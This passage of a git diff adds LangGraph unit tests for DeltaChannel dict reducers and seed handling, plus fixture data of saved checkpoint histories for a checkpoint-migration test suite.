merge_dicts(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + result.update(w) + return result + + ch = _delta_channel_with_type(merge_dicts, dict).from_checkpoint(MISSING) + + ch.update([{"a": 1}]) + d1 = ch.checkpoint() + assert d1 is MISSING + + ch.update([{"b": 2}]) + d2 = ch.checkpoint() + assert d2 is MISSING + + assert ch.get() == {"a": 1, "b": 2} + + +def test_delta_channel_dict_reducer_writes_reconstruction() -> None: + """replay_writes on a fresh channel replays through a dict merge reducer.""" + + def merge_dicts(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + result.update(w) + return result + + spec = _delta_channel_with_type(merge_dicts, dict) + ch = spec.from_checkpoint(MISSING) + ch.replay_writes( + [ + ("t0", "files", {"a": 1}), + ("t1", "files", {"b": 2}), + ("t2", "files", {"c": 3}), + ] + ) + assert ch.get() == {"a": 1, "b": 2, "c": 3} + + +def test_delta_channel_dict_reducer_with_deletions() -> None: + """Dict reducer that treats None values as deletions works end-to-end.""" + + def merge_files(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + for k, v in w.items(): + if v is None: + result.pop(k, None) + else: + result[k] = v + return result + + ch = _delta_channel_with_type(merge_files, dict).from_checkpoint(MISSING) + ch.update([{"file1.py": "content1", "file2.py": "content2"}]) + ch.update([{"file1.py": None, "file3.py": "content3"}]) + assert ch.get() == {"file2.py": "content2", "file3.py": "content3"} + + spec = _delta_channel_with_type(merge_files, dict) + ch2 = spec.from_checkpoint(MISSING) + ch2.replay_writes( + [ + ("t0", "files", {"file1.py": "content1", "file2.py": "content2"}), + ("t1", "files", {"file1.py": None, "file3.py": "content3"}), + ] + ) + assert ch2.get() == {"file2.py": "content2", "file3.py": "content3"} + + +def test_delta_channel_dict_reducer_overwrite_in_update() -> None: + """Overwrite(dict) in update() must preserve dict shape, not coerce to list.""" + + def merge_dicts(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + result.update(w) + return result + + ch = _delta_channel_with_type(merge_dicts, dict).from_checkpoint(MISSING) + ch.update([{"a": 1}]) + ch.update([Overwrite({"b": 2, "c": 3})]) + assert ch.get() == {"b": 2, "c": 3} + + +def test_delta_channel_dict_reducer_overwrite_in_writes_replay() -> None: + """Overwrite(dict) embedded in replayed writes must reconstruct as dict.""" + + def merge_dicts(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + result.update(w) + return result + + spec = _delta_channel_with_type(merge_dicts, dict) + ch = spec.from_checkpoint(MISSING) + ch.replay_writes( + [ + ("t0", "files", {"a": 1}), + ("t1", "files", Overwrite({"x": 10, "y": 20})), + ("t2", "files", {"z": 30}), + ] + ) + assert ch.get() == {"x": 10, "y": 20, "z": 30} + + +def test_delta_channel_dict_reducer_with_notrequired_annotation() -> None: + """DeltaChannel infers dict type through `Annotated[NotRequired[dict[...]], ch]`.""" + + def merge_dicts(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + result.update(w) + return result + + annotation = Annotated[NotRequired[dict[str, int]], DeltaChannel(merge_dicts)] + ch = _get_channel("files", annotation).from_checkpoint(MISSING) + assert ch.get() == {} + ch.update([{"a": 1}]) + ch.update([{"b": 2}]) + assert ch.get() == {"a": 1, "b": 2} + + +def test_delta_channel_dict_reducer_end_to_end_filesystem() -> None: + """End-to-end: graph with dict-reducer (filesystem-style) channel wrapped in DeltaChannel.""" + + def merge_files(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + for k, v in w.items(): + if v is None: + result.pop(k, None) + else: + result[k] = v + return result + + class State(TypedDict): + files: Annotated[dict[str, str], DeltaChannel(merge_files)] + + turn = {"v": 0} + + def write_file(state: State) -> dict: + turn["v"] += 1 + n = turn["v"] + return {"files": {f"/doc_{n}.txt": f"content for turn {n}"}} + + builder = StateGraph(State) + builder.add_node("write_file", write_file) + builder.add_edge(START, "write_file") + saver = InMemorySaver() + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "fs"}} + + for _ in range(3): + graph.invoke({"files": {}}, config) + + saved = saver.get_tuple(config) + assert saved is not None + assert "files" not in saved.checkpoint["channel_values"] + state = graph.get_state(config) + assert state.values["files"] == { + "/doc_1.txt": "content for turn 1", + "/doc_2.txt": "content for turn 2", + "/doc_3.txt": "content for turn 3", + } + + def delete_file(state: State) -> dict: + return {"files": {"/doc_1.txt": None}} + + builder2 = StateGraph(State) + builder2.add_node("write_file", write_file) + builder2.add_node("delete_file", delete_file) + builder2.add_edge(START, "write_file") + builder2.add_edge("write_file", "delete_file") + turn["v"] = 0 + saver2 = InMemorySaver() + graph2 = builder2.compile(checkpointer=saver2) + config2 = {"configurable": {"thread_id": "fs2"}} + graph2.invoke({"files": {}}, config2) + state2 = graph2.get_state(config2) + assert state2.values["files"] == {} + + +def test_delta_channel_dict_reducer_backwards_compat() -> None: + """A pre-DeltaChannel dict checkpoint must load as a dict, not be listified.""" + + def merge_dicts(state: dict, writes: list) -> dict: + result = dict(state) + for w in writes: + result.update(w) + return result + + spec = _delta_channel_with_type(merge_dicts, dict) + old_value = {"a": 1, "b": 2} + ch = spec.from_checkpoint(old_value) + assert ch.get() == {"a": 1, "b": 2} + + +# --------------------------------------------------------------------------- +# DeltaChannel — seed / pre-delta migration +# --------------------------------------------------------------------------- + + +def test_delta_channel_from_checkpoint_honors_seed() -> None: + """A non-sentinel value to from_checkpoint is used as the pre-delta seed. + + Guards the pre-delta migration path: when the saver's ancestor walk hits + a pre-DeltaChannel blob it passes it as `seed` so replay reconstructs + the post-migration state correctly rather than replaying from empty. + """ + spec = DeltaChannel(_messages_delta_reducer, list) + seed = [HumanMessage(content="pre-delta", id="p1")] + ch = spec.from_checkpoint(seed) + ch.replay_writes( + [ + ("t0", "messages", AIMessage(content="delta-1", id="d1")), + ("t1", "messages", HumanMessage(content="delta-2", id="d2")), + ] + ) + msgs = ch.get() + assert [m.content for m in msgs] == ["pre-delta", "delta-1", "delta-2"] + + +def test_delta_channel_from_checkpoint_seed_without_writes() -> None: + """Reconstruction at a pre-delta ancestor with no newer deltas returns + just the seed — the saver's terminator fired immediately.""" + spec = DeltaChannel(_messages_delta_reducer, list) + seed = [HumanMessage(content="only-snap", id="s1")] + ch = spec.from_checkpoint(seed) + ch.replay_writes([]) + assert ch.get() == seed + + +def test_delta_channel_from_checkpoint_seed_none_is_distinct_from_sentinel() -> None: + """`seed=None` must start replay from None, not from an empty channel. + + The `MISSING` absence sentinel means 'no seed'; passing `None` + explicitly should feed None to the reducer as the left operand. + """ + + def replace(state, writes): + return writes[-1] if writes else state + + spec = DeltaChannel(replace, list) + ch = spec.from_checkpoint(None) + ch.replay_writes([("t0", "x", "after")]) + assert ch.get() == "after" diff --git a/libs/langgraph/tests/test_checkpoint_migration.py b/libs/langgraph/tests/test_checkpoint_migration.py new file mode 100644 index 0000000..c53c5c7 --- /dev/null +++ b/libs/langgraph/tests/test_checkpoint_migration.py @@ -0,0 +1,1727 @@ +import operator +import sys +import time +from collections import defaultdict +from typing import Annotated, Literal + +import pytest +from langgraph.checkpoint.base import BaseCheckpointSaver, CheckpointTuple +from typing_extensions import TypedDict + +from langgraph._internal._config import patch_configurable +from langgraph.graph.state import StateGraph +from langgraph.pregel._checkpoint import copy_checkpoint +from langgraph.types import Command, Interrupt, PregelTask, StateSnapshot, interrupt +from tests.any_int import AnyInt +from tests.any_str import AnyDict, AnyObject, AnyStr + +pytestmark = pytest.mark.anyio + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + + +def get_expected_history(*, exc_task_results: int = 0) -> list[StateSnapshot]: + return [ + StateSnapshot( + values={ + "query": "analyzed: query: what is weather in sf", + "answer": "doc1,doc2,doc3,doc4", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 4, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=(), + interrupts=(), + ), + StateSnapshot( + values={ + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + next=("qa",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 3, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="qa", + path=("__pregel_pull", "qa"), + error=None, + interrupts=() + if exc_task_results + else ( + Interrupt( + value="", + id=AnyStr(), + ), + ), + state=None, + result=None + if exc_task_results + else {"answer": "doc1,doc2,doc3,doc4"}, + ), + ), + interrupts=() + if exc_task_results + else ( + Interrupt( + value="", + id=AnyStr(), + ), + ), + ), + StateSnapshot( + values={ + "query": "analyzed: query: what is weather in sf", + "docs": ["doc3", "doc4"], + }, + next=("retriever_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 2, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="retriever_one", + path=("__pregel_pull", "retriever_one"), + error=None, + interrupts=(), + state=None, + result=None if exc_task_results else {"docs": ["doc1", "doc2"]}, + ), + ), + interrupts=(), + ), + StateSnapshot( + values={"query": "query: what is weather in sf", "docs": []}, + next=("analyzer_one", "retriever_two"), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="analyzer_one", + path=("__pregel_pull", "analyzer_one"), + error=None, + interrupts=(), + state=None, + result=None + if exc_task_results + else {"query": "analyzed: query: what is weather in sf"}, + ), + PregelTask( + id=AnyStr(), + name="retriever_two", + path=("__pregel_pull", "retriever_two"), + error=None, + interrupts=(), + state=None, + result=None + if exc_task_results >= 2 + else {"docs": ["doc3", "doc4"]}, + ), + ), + interrupts=(), + ), + StateSnapshot( + values={"query": "what is weather in sf", "docs": []}, + next=("rewrite_query",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="rewrite_query", + path=("__pregel_pull", "rewrite_query"), + error=None, + interrupts=(), + state=None, + result=None + if exc_task_results + else {"query": "query: what is weather in sf"}, + ), + ), + interrupts=(), + ), + StateSnapshot( + values={"docs": []}, + next=("__start__",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "input", + "step": -1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="__start__", + path=("__pregel_pull", "__start__"), + error=None, + interrupts=(), + state=None, + result={"query": "what is weather in sf"}, + ), + ), + interrupts=(), + ), + ] + + +SAVED_CHECKPOINTS = { + "3": [ + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2149-6faa-8004-9d848038f10a", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T15:20:01.237381+00:00", + "id": "1f00fd5f-2149-6faa-8004-9d848038f10a", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.6697367414225304", + "query": "00000000000000000000000000000004.0.18727156933289513", + "branch:to:rewrite_query": "00000000000000000000000000000003.0.14126716107927562", + "branch:to:analyzer_one": "00000000000000000000000000000004.0.15766851053750708", + "branch:to:retriever_two": "00000000000000000000000000000004.0.04821745244115927", + "branch:to:retriever_one": "00000000000000000000000000000005.0.7710812646219019", + "docs": "00000000000000000000000000000005.0.7916507770116351", + "branch:to:qa": "00000000000000000000000000000006.0.6375257096095945", + "answer": "00000000000000000000000000000006.0.9100669543952636", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.7234984738744598" + }, + "rewrite_query": { + "branch:to:rewrite_query": "00000000000000000000000000000002.0.05597832024496252" + }, + "analyzer_one": { + "branch:to:analyzer_one": "00000000000000000000000000000003.0.7165779439892241" + }, + "retriever_two": { + "branch:to:retriever_two": "00000000000000000000000000000003.0.7762711252277583" + }, + "retriever_one": { + "branch:to:retriever_one": "00000000000000000000000000000004.0.5907938097782264" + }, + "__interrupt__": { + "query": "00000000000000000000000000000004.0.18727156933289513", + "docs": "00000000000000000000000000000005.0.7916507770116351", + "__start__": "00000000000000000000000000000002.0.6697367414225304", + "branch:to:rewrite_query": "00000000000000000000000000000003.0.14126716107927562", + "branch:to:analyzer_one": "00000000000000000000000000000004.0.15766851053750708", + "branch:to:retriever_one": "00000000000000000000000000000005.0.7710812646219019", + "branch:to:retriever_two": "00000000000000000000000000000004.0.04821745244115927", + "branch:to:qa": "00000000000000000000000000000005.0.5602643794940962", + }, + "qa": { + "branch:to:qa": "00000000000000000000000000000005.0.5602643794940962" + }, + }, + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + }, + "updated_channels": None, + }, + metadata={ + "source": "loop", + "step": 4, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2140-6fd6-8003-2051ce36b79c", + } + }, + pending_writes=[], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2140-6fd6-8003-2051ce36b79c", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T15:20:01.233695+00:00", + "id": "1f00fd5f-2140-6fd6-8003-2051ce36b79c", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.6697367414225304", + "query": "00000000000000000000000000000004.0.18727156933289513", + "branch:to:rewrite_query": "00000000000000000000000000000003.0.14126716107927562", + "branch:to:analyzer_one": "00000000000000000000000000000004.0.15766851053750708", + "branch:to:retriever_two": "00000000000000000000000000000004.0.04821745244115927", + "branch:to:retriever_one": "00000000000000000000000000000005.0.7710812646219019", + "docs": "00000000000000000000000000000005.0.7916507770116351", + "branch:to:qa": "00000000000000000000000000000005.0.5602643794940962", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.7234984738744598" + }, + "rewrite_query": { + "branch:to:rewrite_query": "00000000000000000000000000000002.0.05597832024496252" + }, + "analyzer_one": { + "branch:to:analyzer_one": "00000000000000000000000000000003.0.7165779439892241" + }, + "retriever_two": { + "branch:to:retriever_two": "00000000000000000000000000000003.0.7762711252277583" + }, + "retriever_one": { + "branch:to:retriever_one": "00000000000000000000000000000004.0.5907938097782264" + }, + }, + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "branch:to:qa": None, + }, + "updated_channels": None, + }, + metadata={ + "source": "loop", + "step": 3, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-213c-6940-8002-a28f475a6478", + } + }, + pending_writes=[ + ( + "2430f303-da9f-2e3e-738c-2e8ea28e8973", + "__interrupt__", + [ + Interrupt( + value="", + resumable=True, # type: ignore[arg-type] + ns=["qa:2430f303-da9f-2e3e-738c-2e8ea28e8973"], # type: ignore[arg-type] + ) + ], + ), + ("00000000-0000-0000-0000-000000000000", "__resume__", ""), + ("2430f303-da9f-2e3e-738c-2e8ea28e8973", "__resume__", [""]), + ( + "2430f303-da9f-2e3e-738c-2e8ea28e8973", + "answer", + "doc1,doc2,doc3,doc4", + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-213c-6940-8002-a28f475a6478", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T15:20:01.231890+00:00", + "id": "1f00fd5f-213c-6940-8002-a28f475a6478", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.6697367414225304", + "query": "00000000000000000000000000000004.0.18727156933289513", + "branch:to:rewrite_query": "00000000000000000000000000000003.0.14126716107927562", + "branch:to:analyzer_one": "00000000000000000000000000000004.0.15766851053750708", + "branch:to:retriever_two": "00000000000000000000000000000004.0.04821745244115927", + "branch:to:retriever_one": "00000000000000000000000000000004.0.5907938097782264", + "docs": "00000000000000000000000000000004.0.972701399851098", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.7234984738744598" + }, + "rewrite_query": { + "branch:to:rewrite_query": "00000000000000000000000000000002.0.05597832024496252" + }, + "analyzer_one": { + "branch:to:analyzer_one": "00000000000000000000000000000003.0.7165779439892241" + }, + "retriever_two": { + "branch:to:retriever_two": "00000000000000000000000000000003.0.7762711252277583" + }, + }, + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "branch:to:retriever_one": None, + "docs": ["doc3", "doc4"], + }, + "updated_channels": None, + }, + metadata={ + "source": "loop", + "step": 2, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2039-6354-8001-2c508c8dffd9", + } + }, + pending_writes=[ + ("a5602426-85f2-1fe4-c9e4-bd0127e8e53e", "docs", ["doc1", "doc2"]), + ("a5602426-85f2-1fe4-c9e4-bd0127e8e53e", "branch:to:qa", None), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2039-6354-8001-2c508c8dffd9", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T15:20:01.125661+00:00", + "id": "1f00fd5f-2039-6354-8001-2c508c8dffd9", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.6697367414225304", + "query": "00000000000000000000000000000003.0.04057405566428263", + "branch:to:rewrite_query": "00000000000000000000000000000003.0.14126716107927562", + "branch:to:analyzer_one": "00000000000000000000000000000003.0.7165779439892241", + "branch:to:retriever_two": "00000000000000000000000000000003.0.7762711252277583", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.7234984738744598" + }, + "rewrite_query": { + "branch:to:rewrite_query": "00000000000000000000000000000002.0.05597832024496252" + }, + }, + "channel_values": { + "query": "query: what is weather in sf", + "branch:to:analyzer_one": None, + "branch:to:retriever_two": None, + }, + "updated_channels": None, + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2038-613e-8000-ce5ebe65eb97", + } + }, + pending_writes=[ + ( + "4e7cb70b-7e0f-52d0-d8aa-5439bd3f84de", + "query", + "analyzed: query: what is weather in sf", + ), + ( + "4e7cb70b-7e0f-52d0-d8aa-5439bd3f84de", + "branch:to:retriever_one", + None, + ), + ("abcbc448-cfba-ac2b-2e39-346808f20add", "docs", ["doc3", "doc4"]), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2038-613e-8000-ce5ebe65eb97", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T15:20:01.125200+00:00", + "id": "1f00fd5f-2038-613e-8000-ce5ebe65eb97", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.6697367414225304", + "query": "00000000000000000000000000000002.0.3399249312096154", + "branch:to:rewrite_query": "00000000000000000000000000000002.0.05597832024496252", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.7234984738744598" + }, + }, + "channel_values": { + "query": "what is weather in sf", + "branch:to:rewrite_query": None, + }, + "updated_channels": None, + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2036-6ce4-bfff-ac42e9890362", + } + }, + pending_writes=[ + ( + "d1c3a2d6-5ca2-d4c5-5217-35d86cce48a4", + "query", + "query: what is weather in sf", + ), + ( + "d1c3a2d6-5ca2-d4c5-5217-35d86cce48a4", + "branch:to:analyzer_one", + None, + ), + ( + "d1c3a2d6-5ca2-d4c5-5217-35d86cce48a4", + "branch:to:retriever_two", + None, + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fd5f-2036-6ce4-bfff-ac42e9890362", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T15:20:01.124678+00:00", + "id": "1f00fd5f-2036-6ce4-bfff-ac42e9890362", + "channel_versions": { + "__start__": "00000000000000000000000000000001.0.7234984738744598" + }, + "versions_seen": {"__input__": {}}, + "channel_values": {"__start__": {"query": "what is weather in sf"}}, + "updated_channels": None, + }, + metadata={ + "source": "input", + "step": -1, + "parents": {}, + }, + parent_config=None, + pending_writes=[ + ( + "a9e2a749-9870-1952-0a6c-b23b6729ffda", + "query", + "what is weather in sf", + ), + ( + "a9e2a749-9870-1952-0a6c-b23b6729ffda", + "branch:to:rewrite_query", + None, + ), + ], + ), + ], + "2-start:*": [ + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-515f-6b88-8004-6fffb69dd465", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T17:04:20.825576+00:00", + "id": "1f00fe48-515f-6b88-8004-6fffb69dd465", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.23383372151016169", + "query": "00000000000000000000000000000004.0.05732679770452498", + "start:rewrite_query": "00000000000000000000000000000003.0.2916637829964738", + "rewrite_query": "00000000000000000000000000000004.0.2372002638794427", + "branch:to:retriever_two": "00000000000000000000000000000004.0.8860781568140047", + "analyzer_one": "00000000000000000000000000000005.0.648286705356163", + "docs": "00000000000000000000000000000005.0.19918575623485935", + "retriever_two": "00000000000000000000000000000005.0.46629341414062697", + "retriever_one": "00000000000000000000000000000006.0.9577453764095437", + "answer": "00000000000000000000000000000006.0.27361287406148327", + "qa": "00000000000000000000000000000006.0.24260043089701677", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.9575279209966122" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.3082066433110763" + }, + "analyzer_one": { + "rewrite_query": "00000000000000000000000000000003.0.9534854313752955" + }, + "retriever_two": { + "branch:to:retriever_two": "00000000000000000000000000000003.0.29217346538810884" + }, + "retriever_one": { + "analyzer_one": "00000000000000000000000000000004.0.9322215406936268" + }, + "__interrupt__": { + "query": "00000000000000000000000000000004.0.05732679770452498", + "docs": "00000000000000000000000000000005.0.19918575623485935", + "__start__": "00000000000000000000000000000002.0.23383372151016169", + "rewrite_query": "00000000000000000000000000000004.0.2372002638794427", + "analyzer_one": "00000000000000000000000000000005.0.648286705356163", + "retriever_one": "00000000000000000000000000000005.0.0523757506060204", + "retriever_two": "00000000000000000000000000000005.0.46629341414062697", + "branch:to:retriever_two": "00000000000000000000000000000004.0.8860781568140047", + "start:rewrite_query": "00000000000000000000000000000003.0.2916637829964738", + }, + "qa": { + "retriever_one": "00000000000000000000000000000005.0.0523757506060204" + }, + }, + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + "qa": "qa", + }, + }, + metadata={ + "source": "loop", + "step": 4, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-515c-679e-8003-5f85a56d5dba", + } + }, + pending_writes=[], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-515c-679e-8003-5f85a56d5dba", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T17:04:20.824251+00:00", + "id": "1f00fe48-515c-679e-8003-5f85a56d5dba", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.23383372151016169", + "query": "00000000000000000000000000000004.0.05732679770452498", + "start:rewrite_query": "00000000000000000000000000000003.0.2916637829964738", + "rewrite_query": "00000000000000000000000000000004.0.2372002638794427", + "branch:to:retriever_two": "00000000000000000000000000000004.0.8860781568140047", + "analyzer_one": "00000000000000000000000000000005.0.648286705356163", + "docs": "00000000000000000000000000000005.0.19918575623485935", + "retriever_two": "00000000000000000000000000000005.0.46629341414062697", + "retriever_one": "00000000000000000000000000000005.0.0523757506060204", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.9575279209966122" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.3082066433110763" + }, + "analyzer_one": { + "rewrite_query": "00000000000000000000000000000003.0.9534854313752955" + }, + "retriever_two": { + "branch:to:retriever_two": "00000000000000000000000000000003.0.29217346538810884" + }, + "retriever_one": { + "analyzer_one": "00000000000000000000000000000004.0.9322215406936268" + }, + }, + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "retriever_one": "retriever_one", + }, + }, + metadata={ + "source": "loop", + "step": 3, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-515b-6d12-8002-82a8f9213eae", + } + }, + pending_writes=[ + ( + "4ee8637e-0a95-285e-75bc-4da721c0beab", + "__interrupt__", + [ + Interrupt( + value="", + resumable=True, # type: ignore[arg-type] + ns=["qa:4ee8637e-0a95-285e-75bc-4da721c0beab"], # type: ignore[arg-type] + ) + ], + ), + ("00000000-0000-0000-0000-000000000000", "__resume__", ""), + ("4ee8637e-0a95-285e-75bc-4da721c0beab", "__resume__", [""]), + ( + "4ee8637e-0a95-285e-75bc-4da721c0beab", + "answer", + "doc1,doc2,doc3,doc4", + ), + ("4ee8637e-0a95-285e-75bc-4da721c0beab", "qa", "qa"), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-515b-6d12-8002-82a8f9213eae", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T17:04:20.823978+00:00", + "id": "1f00fe48-515b-6d12-8002-82a8f9213eae", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.23383372151016169", + "query": "00000000000000000000000000000004.0.05732679770452498", + "start:rewrite_query": "00000000000000000000000000000003.0.2916637829964738", + "rewrite_query": "00000000000000000000000000000004.0.2372002638794427", + "branch:to:retriever_two": "00000000000000000000000000000004.0.8860781568140047", + "analyzer_one": "00000000000000000000000000000004.0.9322215406936268", + "docs": "00000000000000000000000000000004.0.49012772235571145", + "retriever_two": "00000000000000000000000000000004.0.9223450775254257", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.9575279209966122" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.3082066433110763" + }, + "analyzer_one": { + "rewrite_query": "00000000000000000000000000000003.0.9534854313752955" + }, + "retriever_two": { + "branch:to:retriever_two": "00000000000000000000000000000003.0.29217346538810884" + }, + }, + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "analyzer_one": "analyzer_one", + "docs": ["doc3", "doc4"], + "retriever_two": "retriever_two", + }, + }, + metadata={ + "source": "loop", + "step": 2, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-5059-6b30-8001-2a9ab4ca7d82", + } + }, + pending_writes=[ + ("16295c56-f44e-31fa-8fad-fff3f9022629", "docs", ["doc1", "doc2"]), + ( + "16295c56-f44e-31fa-8fad-fff3f9022629", + "retriever_one", + "retriever_one", + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-5059-6b30-8001-2a9ab4ca7d82", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T17:04:20.718258+00:00", + "id": "1f00fe48-5059-6b30-8001-2a9ab4ca7d82", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.23383372151016169", + "query": "00000000000000000000000000000003.0.10748450241039154", + "start:rewrite_query": "00000000000000000000000000000003.0.2916637829964738", + "rewrite_query": "00000000000000000000000000000003.0.9534854313752955", + "branch:to:retriever_two": "00000000000000000000000000000003.0.29217346538810884", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.9575279209966122" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.3082066433110763" + }, + }, + "channel_values": { + "query": "query: what is weather in sf", + "rewrite_query": "rewrite_query", + "branch:to:retriever_two": "rewrite_query", + }, + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": 